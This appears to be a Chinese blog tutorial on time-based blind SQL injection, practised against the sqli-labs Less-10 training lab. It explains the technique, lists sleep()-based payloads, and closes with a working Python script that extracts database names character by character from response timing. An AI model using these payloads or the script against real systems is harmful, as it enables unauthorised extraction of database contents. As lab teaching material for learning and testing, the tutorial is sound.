3.2 SQL盲注-時間注入--sql注入python腳本自動打印數據庫信息

簡介:文章分爲三部分:1、概要;2、詳細的思維導圖;3、詳細的解說。

描述:概要包括該文介紹的知識點;詳細的思維導圖更好地理清思路,方便記憶,但對於有些對於作者比較基礎的內容不會有詳細的解釋,建議主動了解;詳細的解說作者會根據思維導圖的綱要添加代碼語句等內容,有時間會添加具體操作,具體步驟,操作結果等內容,添加需要注意的Tips(藍色字體怎樣)。

前面的話:操作學習的環境----Linux環境+docker+sqli-labs。環境配置請看:第一章:SQL注入基礎--1.1Web應用架構分析&1.2 SQLi注入環境搭建或私信我親測有效的資源給你。

Tips:這些都是作者學習過的內容,文字、思維導圖等都是一雙手,後續會連載這系列以及豐富流程說明,歡迎溝通交流、留言,覺得必要的也可收藏關注

1、概要:

3.2 SQL盲注-時間注入
    時間盲注原理
    時間盲注方法
    構造python腳本自動打印數據庫信息(結尾附上源碼)

2、詳細的思維導圖:

 

3.2 SQL盲注-時間注入
    時間盲注原理

        代碼存在SQL注入漏洞然而頁面即不會回顯數據,也不會回顯錯誤信息語句執行後也不提示真假,我們不能通過頁面的內容來進行判斷
這裏我們可以通過構造語句,通過頁面響應的時長,來判斷信息,這既是時間盲注!
    時間盲注方法(可利用sqli-labs:Less-10演練,環境部屬請看:第一章:SQL注入基礎--1.1Web應用架構分析&1.2 SQLi注入環境搭建
        構造邏輯語句,通過條件語句進行判斷,爲真則立即執行,否則延時執行
        核心語法:if(left(user(),1)='a',0,sleep(5));
        真實場景:if(ascii(substr(database(),1,1))>115,0,sleep(5))

    構造python腳本自動打印數據庫信息(掌握前面我連載的SQL注入博客的小夥伴,相信利用這個代碼可舉一反三,逍遙快活很多自動attack手段了)

#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import time

url = 'http://192.168.100.57/Less-10/?id=1'

database = 'select schema_name from information_schema.schemata'

tables = 'select table_name from information_schema.tables where table_schema=database()'

column = 'select column_name from information_schema.columns where table_name="table_name"'

result = ''
for i in range(1,30):
	for j in range(48,122):
		payload = '"and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+'.format(database,i,j)
		stime =time.time()
		r = requests.get(url+payload)
		etime = time.time()
		if etime-stime >=2:
			result += chr(j)
			print (result)
			break

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章